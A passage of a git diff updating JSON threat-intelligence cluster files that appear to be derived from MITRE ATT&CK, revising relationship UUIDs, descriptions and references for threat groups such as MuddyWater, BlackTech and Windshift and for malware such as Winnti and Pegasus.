"8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14684,6 +18095,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "03506554-5f37-4f8f-9ce4-0e9f01a1b484", @@ -14724,14 +18142,14 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14797,7 +18215,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14846,35 +18264,35 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14885,7 +18303,7 @@ "value": "PLATINUM - G0068" }, { - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)", "meta": { "external_id": "G0069", "refs": [ @@ -14893,6 +18311,8 @@ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", + "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" ], "synonyms": [ @@ -14910,35 +18330,28 @@ "type": "similar" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14966,7 +18379,7 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15001,42 +18414,42 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", + "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15050,7 +18463,7 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15064,28 +18477,28 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15099,7 +18512,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15127,7 +18540,7 @@ "type": "uses" }, { - "dest-uuid": "cf7b3a06-8b42-4c33-bbe9-012120027925", + "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15141,7 +18554,112 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c4711b-407a-449d-b269-e3b1531fe7a9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15174,14 +18692,14 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15195,7 +18713,7 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15230,21 +18748,14 @@ "type": "uses" }, { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15270,6 +18781,48 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "32bca8ff-d900-4877-aa65-d70baa041b74", @@ -15304,7 +18857,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15318,14 +18871,14 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15346,7 +18899,7 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15355,7 +18908,177 @@ ], "uuid": "6b9ebeb5-20bf-48b0-afb7-988d769a2f01", "value": "DarkHydrus - G0079" + }, + { + "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017)", + "meta": { + "external_id": "G0098", + "refs": [ + "https://attack.mitre.org/groups/G0098", + "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/" + ], + "synonyms": [ + "BlackTech" + ] + }, + "related": [ + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "76ac7989-c5cc-42e2-93e3-d6c476f01ace", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b57f419e-8b12-49d3-886b-145383725dcd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2d134a1-7bd5-4293-94d4-8fc978cb1cd7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", + "value": "BlackTech - G0098" + }, + { + "description": "[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", + "meta": { + "external_id": "G0112", + "refs": [ + "https://attack.mitre.org/groups/G0112", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", + "https://objective-see.com/blog/blog_0x3B.html", + "https://objective-see.com/blog/blog_0x3D.html" + ], + "synonyms": [ + "Windshift", + "Bahamut" + ] + }, + "related": [ + { + "dest-uuid": "0d1f9f5b-11ea-42c3-b5f4-63cce0122541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b4b7458f-81f2-4d38-84be-1c5ba0167a52", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "afec6dc3-a18e-4b62-b1a4-5510e1a498d1", + "value": "Windshift - G0112" } ], - "version": 19 + "version": 20 } diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json index ee94bb6..50f90ea 100644 --- a/clusters/mitre-malware.json +++ b/clusters/mitre-malware.json @@ -35,6 +35,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8", @@ -112,7 +119,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -126,14 +133,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -147,7 +147,14 @@ "type": "uses" }, { - "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -157,6 +164,140 @@ "uuid": "11194d8b-fdce-45d2-8047-df15bb8f16bd", "value": "Exaramel for Linux - S0401" }, + { + "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Chronicle Winnti for Linux May 2019)", + "meta": { + "external_id": "S0430", + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0430", + "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a" + ], + "synonyms": [ + "Winnti for Linux" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8787e86d-8475-4f13-acea-d33eb83b6105", + "value": "Winnti for Linux - S0430" + }, + { + "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015) The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)", + "meta": { + "external_id": "S0141", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0141", + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", + "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a" + ], + "synonyms": [ + "Winnti for Windows" + ] + }, + "related": [ + { + "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21", + "value": "Winnti for Windows - S0141" + }, { "description": "[Pegasus for Android](https://attack.mitre.org/software/S0316) is the Android version of malware that has reportedly been linked to the NSO Group. (Citation: Lookout-PegasusAndroid) (Citation: Google-Chrysaor) The iOS version is tracked separately under [Pegasus for iOS](https://attack.mitre.org/software/S0289).", "meta": { @@ -294,7 +435,7 @@ "refs": [ "https://attack.mitre.org/software/S0289", "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf", - "https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" ], "synonyms": [ "Pegasus for iOS" @@ -427,14 +568,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -448,35 +582,35 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -513,7 +647,7 @@ "type": "similar" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -534,7 +668,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -548,14 +682,14 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -569,21 +703,21 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - 